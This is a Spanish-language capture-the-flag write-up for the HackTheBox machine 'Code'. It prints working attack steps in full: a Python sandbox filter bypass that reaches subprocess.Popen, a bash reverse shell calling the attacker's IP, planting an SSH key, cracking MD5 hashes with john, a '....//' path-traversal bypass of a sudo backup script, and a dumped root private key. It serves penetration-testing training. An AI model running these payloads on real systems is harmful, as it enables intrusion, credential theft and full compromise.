Code – HackTheBox Link to heading

  • OS: Linux
  • Difficulty / Dificultad: Easy / Fácil
  • Platform / Plataforma: HackTheBox

Avatar code


Resumen Link to heading

“Code” es una máquina de dificultad Fácil de la plataforma HackTheBox. La máquina víctima se encuentra corriendo un servidor web el cual permite ejecutar código de Python. A primera vista algunos comandos y palabras están prohibidas para evitar ejecución remota de comandos (Remote Code Execution o RCE). No obstante, somos capaces de bypassear estas restricciones y ejecutar comandos a nivel de sistema, ganando acceso a la máquina víctima. Una vez dentro, somos capaces de encontrar credenciales para un segundo usuario dentro de la máquina víctima. Este nuevo usuario puede correr un script personalizado de Bash con sudo; un script el cual crea backups/respaldos de directorios luego de aplicar una simple sanitización para prevenir un Path Traversal en un archivo de configuración. Sin embargo, esta sanitización es aplicada sólo una vez (no es recursiva), lo cual nos permite engañar a este control y generar una copia de la llave SSH para el usuario root; comprometiendo así el sistema.


User / Usuario Link to heading

Empezamos buscando puertos que estén utilizando protocolo TCP en la máquina víctima a través de un escaneo con Nmap:

❯ sudo nmap -sS -p- --open --min-rate=5000 -n -Pn -vvv 10.129.152.86

El escaneo anterior sólo registra 2 puertos abiertos: 22 SSH y 5000 un sitio web usando HTTP. Aplicamos así algunos scripts de reconocimiento sobre estos puertos mediante la flag -sVC con Nmap:

❯ sudo nmap -sVC -p22,5000 10.129.152.86

Starting Nmap 7.95 ( https://nmap.org ) at 2025-03-23 15:03 -03
Nmap scan report for 10.129.152.86
Host is up (0.29s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.12 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   3072 b5:b9:7c:c4:50:32:95:bc:c2:65:17:df:51:a2:7a:bd (RSA)
|   256 94:b5:25:54:9b:68:af:be:40:e1:1d:a8:6b:85:0d:01 (ECDSA)
|_  256 12:8c:dc:97:ad:86:00:b4:88:e2:29:cf:69:b5:65:96 (ED25519)
5000/tcp open  http    Gunicorn 20.0.4
|_http-server-header: gunicorn/20.0.4
|_http-title: Python Code Editor
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 23.18 seconds

Del output, podemos ver que el puerto 5000 está corriendo un servidor web con HTTP usando Gunicorn.

Información
Gunicorn, also known as “Green Unicorn”, is a Python web server that’s used to run Python web applications. It’s a WSGI (Web Server Gateway Interface) server that’s compatible with many web frameworks, including Django and Flask.
En corto, Guinicorn es un servidor web que utiliza Python.

Usando WhatWeb contra el sitio web muestra exactamente el mismo output de Nmap:

❯ whatweb -a 3 http://10.129.152.86:5000

http://10.129.152.86:5000 [200 OK] Country[RESERVED][ZZ], HTML5, HTTPServer[gunicorn/20.0.4], IP[10.129.152.86], JQuery[3.6.0], Script, Title[Python Code Editor]

Visitando http://10.129.152.86:5000 en un navegador de internet podemos ver un sitio web el cual nos permite ejecutar pequeños snippets de código:

Code

Más en específico, el sitio web nos permite correr pequeños códigos de Python.

Si tratamos de ejecutar comandos a nivel de sistema con Python a través de un código tan simple como:

import os

os.system('id')

Obtenemos la respuesta del servidor Use of restricted keywords is not allowed..

Code 2

Aparentemente, no podemos utilizar la función import, independiente de la librería que queramos importar. Por ejemplo, si intento importar la función argparse (la cual no tiene relación alguna con ejecución de comandos a nivel de sistema) obtenemos el mismo error:

Code 3

Otras palabras prohibidas que hallé son open, os, subprocess y read. Por ejemplo, si tratamos de ejecutar:

print("open")

print("os")

print("subprocess")

print("read")

Incluso si esto sólo muestra mensajes, seguimos obteniendo el mismo error. Ello quiere decir que estas palabras no están permitidas, ya sean en variables, funciones, comentarios u otros elementos en el código.

Por tanto, la misión es hallar una manera de poder ejecutar código a nivel de sistema sin utilizar palabras que puedan estar prohibidas.

Buscando distintas maneras de ejecutar código de Python encontramos este post de StackOverflow, donde dicen que podría ser posible usar:

().__class__.__base__.__subclasses__()

Si ejecutamos este código parece que funciona. Esto dado que no obtenemos ningún error (lo cual indica que no ha sido bloqueado). El código está llamando a todos las subclases object cargadas en memoria. Es más, lo que está llamando esta función es una lista dado que si imprimimos sus valores en pantalla podemos ver que son bastantes:

print(().__class__.__base__.__subclasses__())

Returns:

Code 4

Podemos así buscar por la palabra/string cess (parte del string Subprocess, que nos sirve para ejecutar comandos) dentro de la lista de clases:

x = [(index, j) for index, j in enumerate(().__class__.__base__.__subclasses__()) if 'cess' in j.__name__.lower()]
print(index, x, end="\n")

Este código retorna:

Code 5

Tenemos CompletedProcess del módulo Subprocess de Python. Pero éste no es del todo útil para ejecutar comandos, que es nuestro propósito.

Para ejecutar comandos podemos buscar si la función Popen de subprocess está disponible. Dado que la palabra open está prohibida, buscamos por la palabra pen en la lista de objetos cargados:

x = [(index, j) for index, j in enumerate(().__class__.__base__.__subclasses__()) if 'pen' in j.__name__.lower()]

print(index, x, end="\n")

Obteniendo así:

Code 6

Obtenemos que el item número 317 de la lista es subprocess.Popen.

Esto quiere decir que, a nivel de código, llamar el elemento de la lista:

().__class__.__base__.__subclasses__()[317]

Es totalmente equivalente a llamar a:

subprocess.Popen

Lo cual bypassea las restricciones dado que no usa palabras prohibidas.

Podemos revisar cómo ejecutar comandos a nivel de sistema con subprocess.Popen revisando la documentación oficial de subprocess.Popen. Un simple ejemplo dado en la documentación es:

subprocess.Popen(["/usr/bin/git", "commit", "-m", "Fixes a bug."])

De vuelta a la página web, adaptamos aquel ejemplo para mandarnos una reverse shell a nuestra máquina de atacantes mediante el código:

().__class__.__base__.__subclasses__()[317](["/bin/bash", "-c", "bash -i >& /dev/tcp/10.10.16.56/443 0>&1"])

Donde 10.10.16.56 es nuestra IP de atacantes y 443 es el puerto en el cual nos pondremos en escucha con netcat.

Antes de enviar y ejecutar el payload, empezamos un listener con netcat por el puerto 443:

❯ nc -lvnp 443

listening on [any] 443 ...

Y enviamos el payload:

Code 7

Obtenemos una conexión en nuestro listener con netcat como el usuario app-production:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.56] from (UNKNOWN) [10.129.152.86] 46568
bash: cannot set terminal process group (14703): Inappropriate ioctl for device
bash: no job control in this shell
app-production@code:~/app$ whoami

whoami
app-production

Podemos leer la flag de usuario en el directorio /home/app-production.

Antes de continuar, un detalle es que la shell obtenida para app-production muere luego de un tiempo. Por esta razón, y para obtener una shell más estable, creamos una llave para el servicio SSH -que estaba corriendo en la máquina víctima- en nuestra máquina de atacantes, pasamos la llave pública generada a la máquina víctima y utilizamos aquella llave para loguearnos como el usuario app-production usando este servicio.

Primero, creamos una llave para SSH en nuestra máquina de atacantes:

❯ ssh-keygen -t rsa -b 2048

Generating public/private rsa key pair.
Enter file in which to save the key (/home/gunzf0x/.ssh/id_rsa): /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa
Enter passphrase for "/home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa" (empty for no passphrase):
Enter same passphrase again:
Your identification has been saved in /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa
Your public key has been saved in /home/gunzf0x/HTB/HTBMachines/Easy/Code/content/id_rsa.pub
The key fingerprint is:
SHA256:SIOYS5RmnA61h859diU/96xUZQ52plWc1/I27zqRHSk gunzf0x@kali
The key's randomart image is:
+---[RSA 2048]----+
| ooo           .+|
|..*= .        ..=|
| =* o o . .   ooO|
| +.+ . o +   E &o|
|  + . + S o . ++=|
|     o .   o +o o|
|            . oo |
|           . .. .|
|            . .o |
+----[SHA256]-----+

Donde no hemos puesto ninguna passphrase para esta llave (presionando únicamente ENTER).

Generada la llave, copiamos la llave pública id_rsa.pub:

❯ cat id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkuCUKWu/iybqmHZWZeYYJ9cCJAW/xXpGY19cKU1NMyxa5wwB79b25pFRvKDU0MW7tjfSUdQXN+TzNoNX4kF9ULPNDqEZtVNRsyeYXHwuKbNEJzLKZdt15FbUhXyD7+v8cVfp+LAodxt5DX2KgiC+45Aq3wsjH4S8EOiNLOnMInqjbzOm/ErCmOmbxoxI0nfDB5gW2DZJk8Hx9A6Ei7H2q4/7N3nqDK0Zv860DruHBGAzGlmKWNOLbWKnRbsFqU9HdCo8iGk15IoDR9Ag1DD+wZwRO3+a5oKdIcKsdYdRuHPofW79/v9vHnQ4kvKFOOiWK+EzsPvqANznv8QJfZCMf gunzf0x@kali

Acto seguido, en la máquina víctima, creamos un directorio .ssh en la ruta /home/app-production y pasamos el contenido de la llave pública al archivo authorized_keys dentro del directorio creado. Hacemos todo esto en una línea:

app-production@code:~$ cd /home/app-production && mkdir .ssh && echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDkuCUKWu/iybqmHZWZeYYJ9cCJAW/xXpGY19cKU1NMyxa5wwB79b25pFRvKDU0MW7tjfSUdQXN+TzNoNX4kF9ULPNDqEZtVNRsyeYXHwuKbNEJzLKZdt15FbUhXyD7+v8cVfp+LAodxt5DX2KgiC+45Aq3wsjH4S8EOiNLOnMInqjbzOm/ErCmOmbxoxI0nfDB5gW2DZJk8Hx9A6Ei7H2q4/7N3nqDK0Zv860DruHBGAzGlmKWNOLbWKnRbsFqU9HdCo8iGk15IoDR9Ag1DD+wZwRO3+a5oKdIcKsdYdRuHPofW79/v9vHnQ4kvKFOOiWK+EzsPvqANznv8QJfZCMf gunzf0x@kali' >> .ssh/authorized_keys

Usamos así nuestra llave generada para SSH y obtenemos una conexión estable:

❯ ssh -i id_rsa app-production@10.129.152.86

<SNIP>
app-production@code:~$

Root Link to heading

Además de los usuarios app-production y root, existe un otro usuario llamado martin:

app-production@code:~$ cat /etc/passwd | grep sh$

root:x:0:0:root:/root:/bin/bash
app-production:x:1001:1001:,,,:/home/app-production:/bin/bash
martin:x:1000:1000:,,,:/home/martin:/bin/bash

Buscando por archivos que pudiesen contener el nombre de este usuario (que pueda a su vez contener potenciales credenciales) con el comando grep retorna:

app-production@code:~$ grep -ir martin /home/app-production 2>/dev/null

Binary file /home/app-production/app/instance/database.db matches

Hay una base de datos SQLite la cual contiene potenciales credenciales para este usuario:

app-production@code:~$ file /home/app-production/app/instance/database.db

/home/app-production/app/instance/database.db: SQLite 3.x database, last written using SQLite version 3031001

Dado que SQLite está instalado en la máquina víctima (lo cual puede ser chequeado simplemente ejecutando which sqlite3 en una terminal), leemos aquella base de datos:

app-production@code:~$ sqlite3 /home/app-production/app/instance/database.db

SQLite version 3.31.1 2020-01-27 19:55:54
Enter ".help" for usage hints.
sqlite>

Y comenzamos a buscar información en esta base de datos:

sqlite> .tables
code  user

sqlite> PRAGMA table_info(user);

0|id|INTEGER|1||1
1|username|VARCHAR(80)|1||0
2|password|VARCHAR(80)|1||0

Obtenemos 2 columnas; una llamada username y otra llamada password en una tabla llamada user.

Extraemos su contenido:

sqlite> select username,password from user;

development|759b74ce43947f5f4c91aeddc3e5bad3
martin|3de6f30c4a09c27fc71932bfc68474be

Tenemos contraseñas las cuales parecen estar hasheadas usando el algoritmo MD5. Esto lo podemos intuir puesto que los hashes tienen un largo de 32 caracteres:

❯ echo -n '3de6f30c4a09c27fc71932bfc68474be' | wc -c

32

Guardamos ambos hashes en un archivo llamado sqlite_db_hashes:

❯ cat sqlite_db_hashes

development:759b74ce43947f5f4c91aeddc3e5bad3
martin:3de6f30c4a09c27fc71932bfc68474be

E intentamos un ataque Brute Force Password Cracking (crackear los hashes por fuerza bruta) utilizando la herramienta john junto con el diccionario de contraseñas rockyou.txt:

❯ john --wordlist=/usr/share/wordlists/rockyou.txt sqlite_db_hashes --format=Raw-MD5

Using default input encoding: UTF-8
Loaded 2 password hashes with no different salts (Raw-MD5 [MD5 256/256 AVX2 8x3])
Warning: no OpenMP support for this hash type, consider --fork=5
Press 'q' or Ctrl-C to abort, almost any other key for status
development      (development)
nafeelswordsmaster (martin)
2g 0:00:00:00 DONE (2025-03-23 17:03) 3.448g/s 9012Kp/s 9012Kc/s 9362KC/s nafi1993..naerox
Use the "--show --format=Raw-MD5" options to display all of the cracked passwords reliably
Session completed.

Obtenemos 2 contraseñas: development y nafeelswordsmaster para los usuarios development y martin, respectivamente.

Revisamos si alguna de estas contraseñas funcionan para alguno de los usuarios en el sistema SSH:

❯ nxc ssh 10.129.152.86 -u martin app-production -p development nafeelswordsmaster

SSH         10.129.152.86   22     10.129.152.86    [*] SSH-2.0-OpenSSH_8.2p1 Ubuntu-4ubuntu0.12
SSH         10.129.152.86   22     10.129.152.86    [-] martin:development
SSH         10.129.152.86   22     10.129.152.86    [-] app-production:development
SSH         10.129.152.86   22     10.129.152.86    [+] martin:nafeelswordsmaster  Linux - Shell access!

Obtenemos nuevas credenciales: martin:nafeelswordsmaster.

Nos conectamos como este nuevo usuario a través de SSH:

❯ sshpass -p 'nafeelswordsmaster' ssh -o stricthostkeychecking=no martin@10.129.152.86

<SNIP>
martin@code:~$

Revisando qué es lo que puede ejecutar este usuario con sudo -algo que se recomienda chequear cada vez que accedamos a un nuevo usuario- podemos ejecutar un script:

martin@code:~$ sudo -l

Matching Defaults entries for martin on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User martin may run the following commands on localhost:
    (ALL : ALL) NOPASSWD: /usr/bin/backy.sh

Somos capaces de ejecutar el script /usr/bin/backy.sh con privilegios.

Revisando el script /usr/bin/backy.sh obtenemos un simple script en Bash:

#!/bin/bash

if ` $# -ne 1 `; then
    /usr/bin/echo "Usage: $0 <task.json>"
    exit 1
fi

json_file="$1"

if ` ! -f "$json_file" `; then
    /usr/bin/echo "Error: File '$json_file' not found."
    exit 1
fi

allowed_paths=("/var/" "/home/")

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

/usr/bin/echo "$updated_json" > "$json_file"

directories_to_archive=$(/usr/bin/echo "$updated_json" | /usr/bin/jq -r '.directories_to_archive[]')

is_allowed_path() {
    local path="$1"
    for allowed_path in "${allowed_paths[@]}"; do
        if ` "$path" == $allowed_path* `; then
            return 0
        fi
    done
    return 1
}

for dir in $directories_to_archive; do
    if ! is_allowed_path "$dir"; then
        /usr/bin/echo "Error: $dir is not allowed. Only directories under /var/ and /home/ are allowed."
        exit 1
    fi
done

/usr/bin/backy "$json_file"

Este script revisa que se le pase un argumento y ejecuta un binario llamado /usr/bin/backy, pasando a este binario un archivo JSON. Pero tenemos algunas restricciones:

  1. El archivo JSON debe estar localizado en los directorios /var o /home.
  2. El script remueve ocurrencias de ../ para evitar un ataque Path Traversal.

Si buscamos por archivos .json en el directorio /home (uno de los directorios aceptados por el script) obtenemos:

martin@code:~$ find /home -name "*.json" 2>/dev/null

/home/martin/backups/task.json

Hay un archivo .json en el directorio /home/martin/backups.

Leyendo el contenido de este archivo muestra:

martin@code:~$ cat /home/martin/backups/task.json

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app"
        ],

        "exclude": [
                ".*"
        ]
}

Sólo para revisar qué es lo que hace este script, creamos un simple archivo en la ruta /home/martin:

martin@code:~$ mkdir test && echo 'testing backup' > test/backup_test

Para realizar estas pruebas, copiamos el contenido del archivo original /home/martin/backups/task.json a /home/martin/task.json y cambiamos el directorio de respaldo a nuestro directorio de prueba que acabamos de crear (en el parámetro directories_to_archive):

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/martin/test"
        ],

        "exclude": [
                ".*"
        ]
}

Y ejecutamos el script con sudo pasando como argumento el archivo JSON de prueba:

martin@code:~$ sudo /usr/bin/backy.sh /home/martin/task.json

2025/03/23 20:29:27 🍀 backy 1.2
2025/03/23 20:29:27 📋 Working with /home/martin/task.json ...
2025/03/23 20:29:27 💤 Nothing to sync
2025/03/23 20:29:27 📤 Archiving: [/home/martin/test]
2025/03/23 20:29:27 📥 To: /home/martin/backups ...
2025/03/23 20:29:27 📦

Este parece crear un comprimido el cual debería de contener respaldos de algo:

martin@code:~$ ls -la /home/martin/backups

total 24
drwxr-xr-x 2 martin martin 4096 Mar 23 20:29 .
drwxr-x--- 7 martin martin 4096 Mar 23 20:28 ..
-rw-r--r-- 1 martin martin 5879 Mar 23 20:25 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root   root    184 Mar 23 20:29 code_home_martin_test_2025_March.tar.bz2
-rw-r--r-- 1 martin martin  181 Mar 23 20:25 task.json

Tenemos un nuevo archivo llamado code_home_martin_test_2025_March.tar.bz2 en /home/marin/backups.

Extraemos/descomprimimos su contenido con tar:

martin@code:~$ tar -xvjf /home/martin/backups/code_home_martin_test_2025_March.tar.bz2 -C /tmp

home/martin/test/
home/martin/test/backup_test

Funcionó. El script crea un directorio /tmp/home/martin/test/backup_test con nuestro contenido generado y lo guarda en /home/martin/backups. Por tanto, este script crea respaldos (backups) de directorio, pasando el directorio que queremos respaldar a través del archivo JSON.

Nota
Hay una tarea cron removiendo archivos de respaldo en los directorios /home/martin/backups y /tmp. Por lo que podría ocurrir que al ejecutar tar el archivo que queremos descomprimir ya no exista y éste retorne un error. Debemos de ejecutar los comandos previamente mostrados si esto llegase a suceder.

Ahora bien, del script /usr/bin/backy.sh una línea interesante es:

updated_json=$(/usr/bin/jq '.directories_to_archive |= map(gsub("\\.\\./"; ""))' "$json_file")

¿Por qué? Porque remueve el string ../ para la ruta de la cual se quiere crear el respaldo. Pero no lo hace de manera recursiva. ¿Qué sucede si usamos el string ....//? Si removemos el sub-string ../ en el string ....//, éste se convertirá en ../. Por ende, en el archivo .json las líneas:

"directories_to_archive": [
                "/home/app-production/app"
        ],

Podríamos tratar de crear un backup del directorio /root dado que allí podrían haber archivos potencialmente útiles como llaves para SSH del usuario root. Para ello transformamos el archivo anterior a:

"directories_to_archive": [
                "/home/app-production/app/....//....//....//root"
        ],

Este string, luego de la (pobre) sanitización, debería de ser convertido a:

"directories_to_archive": [
                "/home/app-production/app/../../../root"
        ],

Por tanto, modificamos el archivo /home/martin/backups/task.json (usando un editor como Vim o nano) para nuestro payload final:

{
        "destination": "/home/martin/backups/",
        "multiprocessing": true,
        "verbose_log": false,
        "directories_to_archive": [
                "/home/app-production/app/....//....//....//root"
        ]
}

Donde hemos omitido la instrucción exclude: ".*" puesto que esta instrucción parece indicarle al binario que se ejecuta qué archivos de deben omitir. La instrucción .* posiblemente haga cuenta de excluir todos los archivos que tengan extensiones; y nosotros queremos incluir todos los archivos, no solo aquellos sin extensiones.

Podemos escribir este archivo .json usando la misma terminal con cat (dado que está la tarea cron removiendo constantemente este archivo):

martin@code:~$ cat > /home/martin/backups/task.json << EOF
{
  "destination": "/home/martin/backups/",
  "multiprocessing": true,
  "verbose_log": true,
  "directories_to_archive": [
    "/home/app-production/app/....//....//....//root/"
  ]
}
EOF

Y ejecutamos el comando con sudo:

martin@code:~$ sudo /usr/bin/backy.sh /home/martin/backups/task.json

2025/03/23 21:15:34 🍀 backy 1.2
2025/03/23 21:15:34 📋 Working with /home/martin/backups/task.json ...
2025/03/23 21:15:34 💤 Nothing to sync
2025/03/23 21:15:34 📤 Archiving: [/home/app-production/app/../../../root]
<SNIP>
/home/app-production/app/../../../root/.ssh/id_rsa
/home/app-production/app/../../../root/.ssh/authorized_keys
/home/app-production/app/../../../root/.bash_history
/home/app-production/app/../../../root/.bashrc

Como podemos ver del output, la ruta del backup ha sido establecida a /home/app-production/app/../../../root.

Revisamos los archivos generados, y nuestro nuevo respaldo está allí:

martin@code:~$ ls -la /home/martin/backups

total 52
drwxr-xr-x 2 martin martin  4096 Mar 23 21:13 .
drwxr-x--- 6 martin martin  4096 Mar 23 21:10 ..
-rw-r--r-- 1 martin martin  5879 Mar 23 21:10 code_home_app-production_app_2024_August.tar.bz2
-rw-r--r-- 1 root   root   12910 Mar 23 21:13 code_home_app-production_app_.._.._.._root_2025_March.tar.bz2

Extraemos su contenido usando tar:

martin@code:~$ tar -xvjf /home/martin/backups/code_home_app-production_app_.._.._.._root_2025_March.tar.bz2

root/
root/.local/
root/.local/share/
root/.local/share/nano/
root/.local/share/nano/search_history
<SNIP>
root/.ssh/id_rsa
root/.ssh/authorized_keys
root/.bash_history
root/.bashrc

Como podemos ver del output al descomprimir el contenido, tenemos una llave id_rsa para el usuario root. La leemos utilizando cat:

martin@code:~$ cat ./root/.ssh/id_rsa

-----BEGIN OPENSSH PRIVATE KEY-----
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
hdENGN+hVCh//jFwAAAAlyb290QGNvZGU=
-----END OPENSSH PRIVATE KEY-----

Parece ser una llave legítima para el usuario root. Por lo que podemos usar esta llave para acceder como aquel usuario por SSH.

Guardamos esta llave en nuestra máquina de atacantes, asignamos los permisos necesarios para utilizar esta llave (con el comando chmod 600) y usamos la llave extraída para logearnos por medio de SSH como root:

❯ nvim root_id_rsa

❯ chmod 600 root_id_rsa

❯ ssh -i root_id_rsa root@10.129.152.86

<SNIP>
root@code:~# id

uid=0(root) gid=0(root) groups=0(root)

GG. Podemos leer la flag del usuario root en el directorio /root; o también se puede leer del backup que habíamos previamente generado del directorio /root.

~Happy Hacking.